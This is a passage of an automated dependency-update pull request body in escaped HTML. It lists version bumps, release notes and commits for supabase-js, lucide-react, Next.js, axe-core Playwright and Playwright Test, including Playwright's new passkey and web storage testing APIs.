href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2527\"\u003e#2527\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/c23e1ab3834d039d6df6417f72636910359a26c8\"\u003e\u003ccode\u003ec23e1ab\u003c/code\u003e\u003c/a\u003e fix(supabase): warn instead of throw for unrecognized sb_ API key subtypes (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/8af3c3a2abedcc6e2408e7ef1e907db108e23afe\"\u003e\u003ccode\u003e8af3c3a\u003c/code\u003e\u003c/a\u003e chore(release): version 2.110.5 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2524\"\u003e#2524\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/25da0976e9f01c25c36b6123050f5450ff49e012\"\u003e\u003ccode\u003e25da097\u003c/code\u003e\u003c/a\u003e chore(release): version 2.110.4 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2523\"\u003e#2523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/dafa7f536f1cb99f2df5795a088e8c5449c45927\"\u003e\u003ccode\u003edafa7f5\u003c/code\u003e\u003c/a\u003e fix(supabase): avoid edge runtime warning (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2522\"\u003e#2522\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/558c1f5565dead952457f33a6aed317339e5ae2a\"\u003e\u003ccode\u003e558c1f5\u003c/code\u003e\u003c/a\u003e fix(functions): stop sending API key in Authorization header for function cal...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/aaec93f3e4474965b687f34b5c62a4f771d9abd3\"\u003e\u003ccode\u003eaaec93f\u003c/code\u003e\u003c/a\u003e chore(release): version 2.110.3 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2519\"\u003e#2519\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/f8889ced845da0defea4344fcfc2444545db1ad1\"\u003e\u003ccode\u003ef8889ce\u003c/code\u003e\u003c/a\u003e docs(postgrest): fix outdated \u003ccode\u003ecross-fetch\u003c/code\u003e guidance (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2507\"\u003e#2507\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/supabase-js/commit/4164458d0fde60b6deed945c011f8c62a26e11f9\"\u003e\u003ccode\u003e4164458\u003c/code\u003e\u003c/a\u003e chore(release): version 2.110.2 changelogs (\u003ca href=\"https://github.com/supabase/supabase-js/tree/HEAD/packages/core/supabase-js/issues/2506\"\u003e#2506\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/supabase/supabase-js/commits/v2.110.7/packages/core/supabase-js\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lucide-react` from 1.17.0 to 1.25.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lucide-icons/lucide/releases\"\u003elucide-react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.25.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(icons): Rename to \u003ccode\u003ecircle-euro\u003c/code\u003e to match other euro icons by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4531\"\u003elucide-icons/lucide#4531\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump astro from 6.1.10 to 6.4.6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4487\"\u003elucide-icons/lucide#4487\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): empty search results on first load for tag-only matches by \u003ca href=\"https://github.com/taimar\"\u003e\u003ccode\u003e@​taimar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4413\"\u003elucide-icons/lucide#4413\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​babel/core\u003c/code\u003e from 7.28.5 to 7.29.6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4476\"\u003elucide-icons/lucide#4476\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): broken link in brand logo comment by \u003ca href=\"https://github.com/jguddas\"\u003e\u003ccode\u003e@​jguddas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4533\"\u003elucide-icons/lucide#4533\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(depedencies): Update dependencies by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4553\"\u003elucide-icons/lucide#4553\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(docs): add studio link by \u003ca href=\"https://github.com/jguddas\"\u003e\u003ccode\u003e@​jguddas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4534\"\u003elucide-icons/lucide#4534\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003ehdmi-port\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4554\"\u003elucide-icons/lucide#4554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003eethernet-port\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4555\"\u003elucide-icons/lucide#4555\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003efile-box\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4552\"\u003elucide-icons/lucide#4552\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003escan-box\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4551\"\u003elucide-icons/lucide#4551\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.24.0...1.25.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.24.0...1.25.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.24.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(scripts): fix typo in renameIcon.function.mts by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4514\"\u003elucide-icons/lucide#4514\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(icons): remove \u003ccode\u003etoBeRemovedInVersion\u003c/code\u003e metadata and make it optional in schema by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4513\"\u003elucide-icons/lucide#4513\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(site): Add merch link by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4524\"\u003elucide-icons/lucide#4524\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(packages/angular): move child rendering logic to template from effect by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4519\"\u003elucide-icons/lucide#4519\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(site): list \u003ccode\u003e@​gyeonghokim/lucide-lit\u003c/code\u003e as third-party package by \u003ca href=\"https://github.com/GyeongHoKim\"\u003e\u003ccode\u003e@​GyeongHoKim\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4421\"\u003elucide-icons/lucide#4421\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003eoption\u003c/code\u003e icon by \u003ca href=\"https://github.com/jamiemlaw\"\u003e\u003ccode\u003e@​jamiemlaw\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4326\"\u003elucide-icons/lucide#4326\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(lucide-react-native): restore the icons entry point in the JS bundles by \u003ca href=\"https://github.com/pvinis\"\u003e\u003ccode\u003e@​pvinis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4528\"\u003elucide-icons/lucide#4528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(vue): support kebab-case icon-node prop on Icon component by \u003ca href=\"https://github.com/Sagargupta16\"\u003e\u003ccode\u003e@​Sagargupta16\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4512\"\u003elucide-icons/lucide#4512\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(lucide-react-native): Add icon exports property to the package.json file by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4522\"\u003elucide-icons/lucide#4522\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): centered the \u003ccode\u003edot\u003c/code\u003e icon by \u003ca href=\"https://github.com/cnlancehu\"\u003e\u003ccode\u003e@​cnlancehu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4492\"\u003elucide-icons/lucide#4492\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ecircle-euro-sign\u003c/code\u003e icon by \u003ca href=\"https://github.com/Guido3000\"\u003e\u003ccode\u003e@​Guido3000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4353\"\u003elucide-icons/lucide#4353\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eserver-plus\u003c/code\u003e icon by \u003ca href=\"https://github.com/Turboman3000\"\u003e\u003ccode\u003e@​Turboman3000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4232\"\u003elucide-icons/lucide#4232\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4513\"\u003elucide-icons/lucide#4513\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/GyeongHoKim\"\u003e\u003ccode\u003e@​GyeongHoKim\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4421\"\u003elucide-icons/lucide#4421\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pvinis\"\u003e\u003ccode\u003e@​pvinis\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4528\"\u003elucide-icons/lucide#4528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Sagargupta16\"\u003e\u003ccode\u003e@​Sagargupta16\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4512\"\u003elucide-icons/lucide#4512\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Guido3000\"\u003e\u003ccode\u003e@​Guido3000\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4353\"\u003elucide-icons/lucide#4353\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Turboman3000\"\u003e\u003ccode\u003e@​Turboman3000\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4232\"\u003elucide-icons/lucide#4232\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.23.0...1.24.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.23.0...1.24.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.23.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(docs): prevent scrollbar layout shift on icons page by \u003ca href=\"https://github.com/g30r93g\"\u003e\u003ccode\u003e@​g30r93g\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4500\"\u003elucide-icons/lucide#4500\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(docs): Remove certificates banner by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4504\"\u003elucide-icons/lucide#4504\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(repo-journal.yml): GH copilot repo summary by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4505\"\u003elucide-icons/lucide#4505\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(repo-journal.yml): Small fix in the workflow by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4508\"\u003elucide-icons/lucide#4508\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(repo-journal.yml): Switch to token by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4509\"\u003elucide-icons/lucide#4509\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003epaper-bag\u003c/code\u003e icon by \u003ca href=\"https://github.com/dkast\"\u003e\u003ccode\u003e@​dkast\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4023\"\u003elucide-icons/lucide#4023\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/f229f83f0c42f46befeac3cfd8ef7aaa82a71325\"\u003e\u003ccode\u003ef229f83\u003c/code\u003e\u003c/a\u003e chore(depedencies): Update dependencies (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4553\"\u003e#4553\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/5ff536e1391335e4f7dc38d244c1bc458b9443e2\"\u003e\u003ccode\u003e5ff536e\u003c/code\u003e\u003c/a\u003e ci(release.yml): Fix workflow and remove \u003ccode\u003eversion\u003c/code\u003e scripts in package scripts...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lucide-icons/lucide/commits/1.25.0/packages/lucide-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `next` from 16.2.9 to 16.2.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003enext's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.2.10\u003c/h2\u003e\n\u003cp\u003eContains no changes except publishing \u003ccode\u003e@next/swc-wasm-web\u003c/code\u003e which was accidentally not published since 16.2.4.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/9dadfd693c5d26bb3c85d1c17802f49dde244b3e\"\u003e\u003ccode\u003e9dadfd6\u003c/code\u003e\u003c/a\u003e v16.2.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/534d9c144ca342ff9ee5569241a814539d6eadb9\"\u003e\u003ccode\u003e534d9c1\u003c/code\u003e\u003c/a\u003e [16.2.x] Release pipeline updates (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/95160\"\u003e#95160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/98941fc427213b0b2770ac40e24a1855ea0ae349\"\u003e\u003ccode\u003e98941fc\u003c/code\u003e\u003c/a\u003e backport: docs fixes 16.2.x (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/94935\"\u003e#94935\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/6e1a94de7c4e68892de4b1e28262be5970358458\"\u003e\u003ccode\u003e6e1a94d\u003c/code\u003e\u003c/a\u003e [16.2.x][ci]: fix release script to not strip newlines (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/94640\"\u003e#94640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/next.js/compare/v16.2.9...v16.2.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@axe-core/playwright` from 4.11.3 to 4.12.1\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/dequelabs/axe-core-npm/blob/develop/CHANGELOG.md\"\u003e@​axe-core/playwright's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/dequelabs/axe-core-npm/compare/v4.11.3...v4.12.1\"\u003e4.12.1\u003c/a\u003e (2026-06-22)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate axe-core to v4.12.1 (\u003ca href=\"https://redirect.github.com/dequelabs/axe-core-npm/issues/1378\"\u003e#1378\u003c/a\u003e) (\u003ca href=\"https://github.com/dequelabs/axe-core-npm/commit/4263054240dc10bbfac0005ae2904f48651891d3\"\u003e4263054\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/dequelabs/axe-core-npm/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@playwright/test` from 1.60.0 to 1.61.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/playwright/releases\"\u003e@​playwright/test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.61.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41365\"\u003e#41365\u003c/a\u003e [Bug]: Expect.Extend matcher with same name as default matcher in same expect instance overrides default matchers implementation to custom matcher\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41351\"\u003e#41351\u003c/a\u003e [Bug]: Playwright UI mode: apiRequestContext._wrapApiCall reports unexpected number of bytes (same test passes in headed mode)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41360\"\u003e#41360\u003c/a\u003e [Bug]: Trace viewer: message times in websockets are downscaled by 1000\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41311\"\u003e#41311\u003c/a\u003e [Bug]: [Regression]: Sync loader throws \u0026quot;context.conditions?.includes is not a function\u0026quot; on Node 22.15\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41371\"\u003e#41371\u003c/a\u003e [Regression]: Sync ESM loader (registerHooks) fails to resolve extensionless .ts subpath imports across pnpm workspace symlinks\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev1.61.0\u003c/h2\u003e\n\u003ch2\u003e🔑 WebAuthn passkeys\u003c/h2\u003e\n\u003cp\u003eNew \u003ca href=\"https://playwright.dev/docs/api/class-credentials\"\u003eCredentials\u003c/a\u003e virtual authenticator, available via \u003ca href=\"https://playwright.dev/docs/api/class-browsercontext#browser-context-credentials\"\u003ebrowserContext.credentials\u003c/a\u003e, lets tests register passkeys and answer \u003ccode\u003enavigator.credentials.create()\u003c/code\u003e / \u003ccode\u003enavigator.credentials.get()\u003c/code\u003e ceremonies in the page — no real hardware key required, works in all browsers:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003econst context = await browser.newContext();\r\n\u003cp\u003e// Seed a passkey your backend provisioned for a test user.\nawait context.credentials.create('example.com', {\nid: credentialId,\nuserHandle,\nprivateKey,\npublicKey,\n});\nawait context.credentials.install();\u003c/p\u003e\n\u003cp\u003econst page = await context.newPage();\nawait page.goto('\u003ca href=\"https://example.com/login\"\u003ehttps://example.com/login\u003c/a\u003e');\n// The page's navigator.credentials.get() is answered with the seeded passkey.\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003eYou can also let the app register a passkey once in a setup test, read it back with \u003ca href=\"https://playwright.dev/docs/api/class-credentials#credentials-get\"\u003ecredentials.get()\u003c/a\u003e, and seed it into later tests — see \u003ca href=\"https://playwright.dev/docs/api/class-credentials\"\u003eCredentials\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003e🗃️ Web Storage\u003c/h2\u003e\n\u003cp\u003eNew \u003ca href=\"https://playwright.dev/docs/api/class-webstorage\"\u003eWebStorage\u003c/a\u003e API, available via \u003ca href=\"https://playwright.dev/docs/api/class-page#page-local-storage\"\u003epage.localStorage\u003c/a\u003e and \u003ca href=\"https://playwright.dev/docs/api/class-page#page-session-storage\"\u003epage.sessionStorage\u003c/a\u003e, reads and writes the page's storage for the current origin:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eawait page.localStorage.setItem('token', 'abc');\r\nconst token = await page.localStorage.getItem('token');\r\nconst items = await page.sessionStorage.items();\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eNew APIs\u003c/h2\u003e\n\u003ch3\u003eNetwork\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://playwright.dev/docs/api/class-apiresponse#api-response-security-details\"\u003eapiResponse.securityDetails()\u003c/a\u003e and \u003ca href=\"https://playwright.dev/docs/api/class-apiresponse#api-response-server-addr\"\u003eapiResponse.serverAddr()\u003c/a\u003e mirror the browser-side \u003ca href=\"https://playwright.dev/docs/api/class-response#response-security-details\"\u003eresponse.securityDetails()\u003c/a\u003e and \u003ca href=\"https://playwright.dev/docs/api/class-response#response-server-addr\"\u003eresponse.serverAddr()\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBrowser and Screencast\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/39e3553a4f283a41134d75d7e404484bd9e6865a\"\u003e\u003ccode\u003e39e3553\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41399\"\u003e#41399\u003c/a\u003e): fix(test): load require-reached files as commonjs in syn...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/4328122a0fa91df1be287f12d26f272f598ccca7\"\u003e\u003ccode\u003e4328122\u003c/code\u003e\u003c/a\u003e chore: mark v1.61.1 (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41404\"\u003e#41404\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/2c29a94ed59a2dbb2cb2553ee7d1ba429f027826\"\u003e\u003ccode\u003e2c29a94\u003c/code\u003e\u003c/a\u003e fix(tracing): stop recording websocket frames outside of chunks (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41398\"\u003e#41398\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/4324b1904199c58ae56d864390f5210df18e33f6\"\u003e\u003ccode\u003e4324b19\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41367\"\u003e#41367\u003c/a\u003e): fix(test): keep builtin expect matchers on base extend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/041e7e30002e7c384e1918c29720b34c435145f4\"\u003e\u003ccode\u003e041e7e3\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41364\"\u003e#41364\u003c/a\u003e): fix(har): \u003ccode\u003eWebSocket\u003c/code\u003e message timestamps should be in mi...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/b8a0fc33932399fc5cfcd211165cf16f8ca01d71\"\u003e\u003ccode\u003eb8a0fc3\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/41309\"\u003e#41309\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43149\"\u003e#43149\u003c/a\u003e): Revert \u0026quot;fix(firefox): treat `navigationCommitted...\u003c/li\u003e\n\u003cli\u003e\u003ca 